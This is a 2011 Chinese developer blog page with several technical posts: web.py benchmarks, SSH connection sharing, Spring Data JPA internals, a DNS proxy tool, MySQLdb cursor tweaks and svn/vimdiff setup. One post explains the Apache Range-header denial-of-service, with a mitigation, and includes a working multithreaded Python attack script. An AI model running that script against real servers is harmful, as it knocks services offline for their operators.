stone2083

#

阿里巴巴B2B招聘高级java开发工程师

我不想列“精通xxx...熟悉xxx”,只要求,如果您:

有2年或以上java实际开发经验 或
1年以上java实际开发经验但技术能力较强

就能直接联系我:
1. 直接在此帖留言
2. Email:stone2083@yahoo.cn
3. MSN:stone2083@yahoo.cn

im沟通我们可以谈简历的事情,走内部推荐,1.电面2.来杭面试,流程简单,全程报销路费;

P.S. 年初,各大公司招聘旺季,阿里巴巴这里呢,我不想说有多好,但也绝对不算差,最实际的,薪酬待遇,各大公司基本保密,但其实业内人士大多心里也有数,秘而不
宣;所以,待遇方面不用过多担心,请诸君仔细斟酌,欢迎联系!

P.S.II 为什么我这招聘帖这么简单呢?其实你懂的,“精通xxx熟悉xxx”那只是吓唬小菜的,对“高级java开发工程师”而言没有意义,我们需要的只是充分沟通、im沟通+当面沟通。在这个有点糟糕的时代,我们人人都不仅需要money,也需要平台与机遇,更需要个人修为与成长!请给阿里和您自己一个机会,谢谢!

请管理员手下留情,如果非要删除,请先联系我下。让我能拷贝下这些文字先!谢谢

posted @ 2011-10-11 17:49 stone2083 阅读(3909) | 评论 (15)编辑 收藏

谁说web.py性能差?

一直在网上听说web.py性能比较差,TPS才几十个。这个道听途说让我一度放弃了web.py。
对比了一圈python web framework后,还是让我对web.py的simple和它的设计理念念念不忘。

机器介绍
机型:ThinkPad R400 笔记本
CPU:Intel(R) Core(TM)2 Duo CPU     P8700  @ 2.53GHz
Mem: 2G
系统:Ubuntu11.04 32位操作系统
备注:服务器上没有python环境,所以只拿个人电脑做测试。

测试内容
输出当前时间信息
1. <%= new Date() %>
2. time.ctime()

对比测试数据
服务器 并发数量 TPS 平均响应时间
Tomcat6 + JDK6 50 6519.29 7.67MS
CherryPy + Webpy 25 1328.56 18.82MS
CherryPy + Webpy 30 Fail Fail
Lighttpd + Flup(FCGI) + Webpy 25 1535.98 16.28MS
Lighttpd + Flup(FCGI) + Webpy 50 1546.11 32.339MS

测试感受
1. webpy自带的CherryPy服务器性能也比传说的强多了,只是难以支撑高并发的请求。也难怪,本来就是一个用于开发的服务器,也不能要求太多;
2. Flup(FCGI)下,TPS达到1500左右,完全能够支撑一般应用的运营要求了;
3. 在专业服务器下,webpy fcgi tps自信能达到4-5k左右。足够了;
4. 和Java相比,确实存在一定差距,但是在开发效率上,远远快于Java;
5. web.py成为我日后web开发首选;
6. 凡事不要道听途说,需要眼见为实。

附上测试报告图片:

posted @ 2011-09-30 14:51 stone2083 阅读(6737) | 评论 (10)编辑 收藏

Apache Range Header DOS攻击 介绍

背景
http://lwn.net/Articles/456268/


Http协议之Byte Range
http://www.ietf.org/rfc/rfc2616.txt (14.35章节)
14.35   Range ....................................................138
   14.35.1    Byte Ranges ...........................................138
   14.35.2    Range Retrieval Requests ..............................139

Apache演示
1. 新建内容为abcdefghijk的txt页面
2. 不带Byte Range Header的请求,请看:

3.带Byte Range Header的请求,请看:


理论上,一旦带上N个Range分片,Apache单次请求压力就是之前的N倍(实际少于N),需要做大量的运算和字符串处理。故构建无穷的分片,单机DOS攻击,就能搞垮Apache Server。

解决方案
1. 等待Apache修复,不过Byte Range是规范要求的,不能算是真正意义上的BUG,不知道会如何修复这个问题
2. 对于不是下载站点来说,建议禁用Byte Range,具体做法:
2.1 安装mod_headers模块
2.2 配置文件加上: RequestHeader unset Range

最后附上一个攻击脚本,做演示
 1 # encoding:utf8
 2 #!/usr/bin/env python
 3 import socket
 4 import threading
 5 import sys
 6 
 7 headers = '''
 8 HEAD / HTTP/1.1
 9 Host: %s
10 Range: bytes=%s
11 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
12 
13 '''
14 
15 #fragment count and loop count
16 COUNT = 1500
17 #concurrent count
18 PARALLEL = 50
19 PORT = 80
20 
21 def req(server):
22     try:
23         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
24         s.connect((server, PORT))
25         s.send(headers % (server, fragment(COUNT)))
26         s.close()
27     except:
28         print 'Server Seems Weak. Please Stop.'
29 
30 def fragment(n):
31     ret = ''
32     for i in xrange(n):
33         if i == 0:
34             ret = ret + '0-' + str(i + 1)
35         else:
36             ret = ret + ',0-' + str(i + 1)
37     return ret
38 
39 def run(server):
40     for _ in xrange(COUNT):
41         req(server)
42 
43 if len(sys.argv) != 2:
44     print 'killer.py $server'
45     sys.exit(0)
46 
47 #run
48 srv = sys.argv[1]
49 for _ in xrange(PARALLEL):
50     threading.Thread(target=run, args=(srv,)).start()
51 

posted @ 2011-08-29 10:35 stone2083 阅读(4284) | 评论 (0)编辑 收藏

Linux下SSH Session复制

羡慕Windows下secureCRT的Session Copy功能,一直在寻找Linux下类似的软件,殊不知SSH本身就支持此功能。
特别感谢阿干同学的邮件分享。

详细方法
Linux/mac下,在$HOME/.ssh/config中加入
Host 
*
ControlMaster auto
ControlPath 
/tmp/ssh-%r@%h
至此只要第一次SSH登录输入密码,之后同个Hosts则免登。

配置文件分析
man ssh_config 5
ControlPath
             Specify the path to the control socket used for connection sharing as described in the ControlMaster section
             above or the string “none” to disable connection sharing.  In the path, ‘%l’ will be substituted by the
             local host name, ‘%h’ will be substituted by the target host name, ‘%p’ the port, and ‘%r’ by the remote
             login username.  It is recommended that any ControlPath used for opportunistic connection sharing include at
             least %h, %p, and %r.  This ensures that shared connections are uniquely identified.
%r 为远程机器的登录名
%h 为远程机器名

原理分析

严格地讲,它并不是真正意义上的Session Copy,而只能说是共享Socket。
第一次登录的时候,将Socket以文件的形式保存到:/tmp/ssh-%r@%h这个路径
之后登录的时候,一旦发现是同个主机,则复用这个Socket
故,一旦主进程强制退出(Ctrl+C),则其他SSH则被迫退出。

可以通过ssh -v参数,看debug信息验证以上过程

备注
有同学说在linux上通过证书的形式,可以实现免登录,没错。
对于静态密码,完全可以这么干;对于动态密码(口令的方式),则上述手段可以方便很多。

posted @ 2011-08-25 17:02 stone2083 阅读(3638) | 评论 (4)编辑 收藏

Spring Data JPA 代码分析

背景
接上文:Spring Data JPA 简单介绍
本文将从配置解析,Bean的创建,Repository执行三个方面来简单介绍下Spring Data JPA的代码实现

友情提醒:
图片均可放大

配置解析
1. parser类
Spring通过Schema的方式进行配置,通过AbstractRepositoryConfigDefinitionParser进行解析。其中包含对NamedQuery的解析。
解析的主要目的,是将配置文件中的repositories和repository元素信息分别解析成GlobalRepositoryConfigInformation和SingleRepositoryConfigInformation。
详见下图
2. Information

CommonRepositoryConfigInformation:
xml中repositories的通用配置,一般对应其中的attributes
SingleRepositoryConfigInformation:
xml中repository的配置信息,对应其中的attributes
GlobalRepositoryCOnfigInformation:
一组SingleRepositoryConfigInfomation信息,包含所有的Single信息
在JPA实现中,针对Single,有两份实现,一份是自动配置信息,一份是手动配置信息,分别对应图中的Automatic和Manual。
SimpleJpaRepositoryConfiguration是JPA中的所有配置信息,包含所有的Jpa中的SingleRepositoryConfigInformation。
3. Query Lookup Strategy
CreateQueryLookupStrategy:对应repositories元素
query-lookup-strategy的create值,主要针对method query方式
DeclaredQueryLookupStrategy:对应use-declared-query值,主要针对带有@Query注解的查询方式
CreateIfNotFoundQueryLookupStrategy:对应create-if-not-found值(default值),结合了上述两种方式


Bean的创建

主要包含两个类
RepositoryFactoryBeanSupport, Spring Factory Bean,用于创建Reposiory代理类。其本身并不真正做代理的事情,只是接受Spring的配置,具体交由RepositoryFactorySupport进行代理工作
RepositoryFactorySupport, 真正做Repository代理工作,根据JpaRepositoryFactoryBean的定义找到TargetClass:SimpleJpaRepository实现类,中间加入3个拦截器,一个是异常翻译,一个是事务管理,最后一个是QueryExecutorMethodInterceptor。
QueryExecutorMethodInterceptor是个重点,主要做特定的Query(查询语句)的操作。

Repository执行
1. 主要执行类
在看上面Bean定义的时候,其实已经明白了执行过程:
1. 将JPA CRUD规范相关的方法交给SimpleJpaRepository这个类执行
2. 将特殊查询相关的交给QueryExecutorMethodInterceptor执行。主要做自定义实现的部分,method query部分和named query部分。
具体查询类详见下图。

2. 查询相关
主要支持NamedQuery和JPA Query。


主要执行代码
QueryExecutorMethodInterceptor#invoke(MethodInvocation invocation)
 1 public Object invoke(MethodInvocation invocation) throws Throwable {
 2 
 3             Method method = invocation.getMethod();
 4 
 5             if (isCustomMethodInvocation(invocation)) {
 6                 Method actualMethod = repositoryInformation.getTargetClassMethod(method);
 7                 makeAccessible(actualMethod);
 8                 return executeMethodOn(customImplementation, actualMethod,
 9                         invocation.getArguments());
10             }
11 
12             if (hasQueryFor(method)) {
13                 return queries.get(method).execute(invocation.getArguments());
14             }
15 
16             // Lookup actual method as it might be redeclared in the interface
17             // and we have to use the repository instance nevertheless
18             Method actualMethod = repositoryInformation.getTargetClassMethod(method);
19             return executeMethodOn(target, actualMethod,
20                     invocation.getArguments());
21         }

主要分3个步骤:
1. 如果配置文件中执行了接口类的实现类,则直接交给实现类处理
2. 判断是查询方法的,交给RepositoryQuery实现,具体又分:NamedQuery,SimpleJpaQuery,PartTreeJpaQuery
3. 不属于上述两个,则直接将其交给真正的targetClass执行,在JPA中,就交给SimpleJpaRepository执行。

本文并没有做详细的分析,只是将核心的组件类一一点到,方便大家自行深入了解代码。

posted @ 2011-08-25 16:28 stone2083 阅读(5121) | 评论 (1)编辑 收藏

Spring Data JPA 简单介绍

背景
考虑到公司应用中数据库访问的多样性和复杂性,目前正在开发UDSL(统一数据访问层),开发到一半的时候,偶遇SpringData工程。发现两者的思路惊人的一致。
于是就花了点时间了解SpringData,可能UDSL II期会基于SpringData做扩展

SpringData相关资料
介绍:针对关系型数据库,KV数据库,Document数据库,Graph数据库,Map-Reduce等一些主流数据库,采用统一技术进行访问,并且尽可能简化访问手段。
目前已支持的数据库有(主要):MongoDB,Neo4j,Redis,Hadoop,JPA等

SpringData官方资料(强烈推荐,文档非常详细)
SpringData主页:http://www.springsource.org/spring-data
SpringDataJPA 指南文档:http://static.springsource.org/spring-data/data-jpa/docs/current/reference/html/ (非常详细)
SpringDataJPA Examples: https://github.com/SpringSource/spring-data-jpa-examples (非常详细的例子)

Spring-Data-Jpa简介
Spring Data Jpa 极大简化了数据库访问层代码,只要3步,就能搞定一切
1. 编写Entity类,依照JPA规范,定义实体
2. 编写Repository接口,依靠SpringData规范,定义数据访问接口(注意,只要接口,不需要任何实现)
3. 写一小陀配置文件 (Spring Scheme配置方式极大地简化了配置方式)

下面,我依赖Example中的例子,简单地介绍下以上几个步骤
User.java
User.java
没什么技术,JPA规范要求怎么写,它就怎么写

Repository.java
SimpleUserRepository.java
需要关注它继承的接口,我简单介绍几个核心接口
Repository: 仅仅是一个标识,表明任何继承它的均为仓库接口类,方便Spring自动扫描识别
CrudRepository: 继承Repository,实现了一组CRUD相关的方法
PagingAndSortingRepository: 继承CrudRepository,实现了一组分页排序相关的方法
JpaRepository: 继承PagingAndSortingRepository,实现一组JPA规范相关的方法
JpaSpecificationExecutor: 比较特殊,不属于Repository体系,实现一组JPA Criteria查询相关的方法

不需要写任何实现类,Spring Data Jpa框架帮你搞定这一切。

Spring Configuration
Configuration.xml

核心代码只要配置一行:<jpa:repositories base-package="org.springframework.data.jpa.example.repository.simple" />即可。上面的仅仅是数据源,事务的配置而已。

至此,大功告成,即可运行
Sample.java

其中,写操作相对比较简单,我不做详细介绍,针对读操作,我稍微描述下:
Method Query: 方法级别的查询,针对
findByfindreadByreadgetBy等前缀的方法,解析方法字符串,生成查询语句,其中支持的关键词有:


Named Query: 针对一些复杂的SQL,支持原生SQL方式,进行查询,保证性能
Criteria Query: 支持JPA标准中的Criteria Query

备注:
本文只是简单介绍SpringDataJpa功能,要深入了解的同学,建议直接传送到官方网站

posted @ 2011-08-25 15:18 stone2083 阅读(19861) | 评论 (12)编辑 收藏

DNS代理服务器

背景接上文:http://www.blogjava.net/stone2083/archive/2011/05/23/350875.html
随笔摘自6月13日邮件分享
目前此软件在公司测试环境上运行良好,故分享给大家。

以下为分享内容:

好处

1.       一个项目、小需求,需要绑定的Hosts,只需要一份Hosts信息即可。不必每个用户自行管理各自电脑的Hosts。达到一人配置,多人使用的目的

2.       绑定的Hosts,支持通配符。方便类似旺铺域名的需求,只需要配置一个带通配符的域名即可

3.       要在不同项目,小需求切换不同的Hosts时,只需要轻轻一点,方便

4.       要想使用代理服务器,只需要本地DNS设置一下即可,方便

5.       本机Hosts配置优先

 

如何使用:(以10.20.131.207环境介绍)备注:公司内部环境,外部无法访问,如果需要,请自行搭建

1.       登陆DNS后台管理页面URLhttp://10.20.131.207:8000/,点击Add


2.       添加一个项目的Hosts信息,点击添加


3.       Hosts信息页面,点击assign,绑定自己电脑IP和某个Hosts的关联


4.       IP List页面上,显示了不同IPHosts关联的信息


5.       将本机电脑的DNS服务器设置成DNS代理服务器即可(10.20.131.207-- 只需要一次操作即可,以后一直能用

左图为windows配置,右图为linux配置

 

此时,你访问域名,如果在2011tp hosts中,则直接返回Hosts中的IP;反之,则返回真实IP。


如何启动服务
1. 启动DNS代理服务器服务
1.1 cd dns/dns
1.2 vi settings.py 修改配置信息
1.3 python -u main.py

2. 启动DNS BackOffice服务
2.1 cd dns/config
2.2 vi settings.py 修改配置信息
2.3 python -u manage.py runserver


软件下载:DNS Proxy Server

============================================================================================
为了满足“邪恶”的人们能更方便的使用这个软件(貌似邪恶的人特别看重这个软件通配符的功能,具体邪恶在哪里,我不具体描述了,给个链接),我特意写了一个standalone的版本:
1. 去除无用的backoffice功能
2. 去除通过事件机制reload hosts文件的功能
3. 去除复杂的settings配置文件,改用简单的命令行方式
4. 特意为windows用户制作了一个exe文件,可以直接使用

linux用户使用方案:
python standalone.py -s xxx.xxx.xxx.xxx (上级dns地址)
python standalone.py -s xxx.xxx.xxx.xxx -f /etc/hosts2 (指定hosts文件,默认是/etc/hosts)

windows用户使用方案,进入dist(exe发布目录)
dns.exe -s xxx.xxx.xxx.xxx (上级dns地址)
dns.exe -s xxx.xxx.xxx.xxx -f d:/hosts (指定hosts文件,默认是c:/windows/system32/drivers/etc/hosts)

对于不放心使用exe的客户来说,可以进入dns目录,通过py2exe工具自行发布成exe软件,方法如下
python setup.py py2exe

standalone版本下载

posted @ 2011-07-04 20:39 stone2083 阅读(9405) | 评论 (23)编辑 收藏

扩展Python MySQLdb Cursor

Python shell下操作mysql一直使用MySqldb。
其默认的Cursor Class是使用tuple(元组)作为数据存储对象的,操作非常不便
1 = cursor.fetchone()
2 print(p[0], p[1])
如果有十几个字段,光是数数位数,就把我数晕了。

当然,MySqldb Cursor Class本身就提供了扩展,我们可以切换成DictCurosor作为默认数据存储对象,如
MySQLdb.connect(host='127.0.0.1', user='sample', passwd='123456', db='sample', cursorclass=DictCursor, charset='utf8')
#
= cursor.fetchone()
print(p['id'], p['name'])
字典的方式优于元祖。

但是,"[]"这个符号写写比较麻烦,并且我编码风格带有强烈的Java习惯,一直喜欢类似"p.id","p.name"的写法。
于是,扩展之
1. 扩展Dict类,使其支持"."方式:
 1 class Dict(dict):
 2     
 3     def __getattr__(self, key):
 4         return self[key]
 5     
 6     def __setattr__(self, key, value):
 7         self[key] = value
 8     
 9     def __delattr__(self, key):
10         del self[key]
2. 扩展Curosor,使其取得的数据使用Dict类:
 1 class Cursor(CursorStoreResultMixIn, BaseCursor):
 2 
 3     _fetch_type = 1
 4 
 5     def fetchone(self):
 6         return Dict(CursorStoreResultMixIn.fetchone(self))
 7 
 8     def fetchmany(self, size=None):
 9         return (Dict(r) for r in CursorStoreResultMixIn.fetchmany(self, size))
10 
11     def fetchall(self):
12         return (Dict(r) for r in CursorStoreResultMixIn.fetchall(self))

这下,就符合我的习惯了:
1 MySQLdb.connect(host='127.0.0.1', user='sample', passwd='123456', db='sample', cursorclass=Cursor, charset='utf8')
2 #
3 = cursor.fetchone()
4 print(p.id, p.name)

posted @ 2011-06-18 00:41 stone2083 阅读(2690) | 评论 (1)编辑 收藏

ubuntu下删除内核后的恢复

悲哀,今天下午不知道执行了什么命令,居然删除了linux kernel。
晚上重启机子后,无法进入系统,一直停留在memtest界面。

一开始,以为grub损坏,只好通过Live CD/USB Stick 的方式,进入系统。
1. 进入Ubuntu Download页面,下载ISO文件
2. 通过Universal USB Installer,创建USB启动文件
详细说明请点击Ubuntu Download页面中“Burn your CD or create a USB drive

进入Live CD后,发现grub完好,但是查看/boot/下,发现linux kernel文件不见了,估计下午执行什么命令,给不小心删除了。

只能通过chroot方式,重装linux kernel
1.chroot -- 利用root帐号操作
#mkdir /uroot #创建临时文件,作为新的root文件
#mount /dev/sda1 /uroot #将硬盘挂载到新的root文件上,sda是之前装有ubuntu的硬盘
#mount --bind /proc /uroot/proc #将当前进程文件绑定到uroot下的proc
#mount --bind /dev /uroot/dev  #将设备文件绑定到uroot下的dev
#chroot

2.配置uroot下的网络 -- 家中是利用ADSL上网
# pppoeconf #配置ADSL帐号和密码
# pon dsl-provider #启动帐号,上网

3.安转linux kernel
# apt-get install linux-image-2.6.32-32-generic

重启系统,恢复正常。

posted @ 2011-06-18 00:16 stone2083 阅读(2598) | 评论 (0)编辑 收藏

使用vimdiff作为svn diff的默认工具

一直习惯于Linux命令,唯独对svn diff耿耿于怀,其结果真不是人能看懂的 :)
感谢khotyn的分享文档,提醒我可以使用vimdiff作为svn diff的默认工具,步骤如下:

1.编写svndiff脚本
1 #!/bin/sh
2 #去掉前5个参数
3 shift 5
4 #使用vimdiff比较
5 vimdiff -"$@"

2.修改svn默认配置,vi ~/.subversion/config
1 #设置diff-cmd为svndiff脚本地址
2 diff-cmd = svndiff

3.使用svn diff命令,效果如下


备注:
1. svn diff --diff-cmd 中的7个回调函数参数分别是:
1 -u
2 -L
3 pom.xml (revision 351676)
4 -L
5 pom.xml (working copy)
6 .svn/tmp/tempfile.tmp
7 pom.xml

2. vimdiff非常强悍的

posted @ 2011-05-24 13:47 stone2083 阅读(3297) | 评论 (2)编辑 收藏

仅列出标题
共10页: 上一页 1 2 3 4 5 6 7 8 9 下一页 Last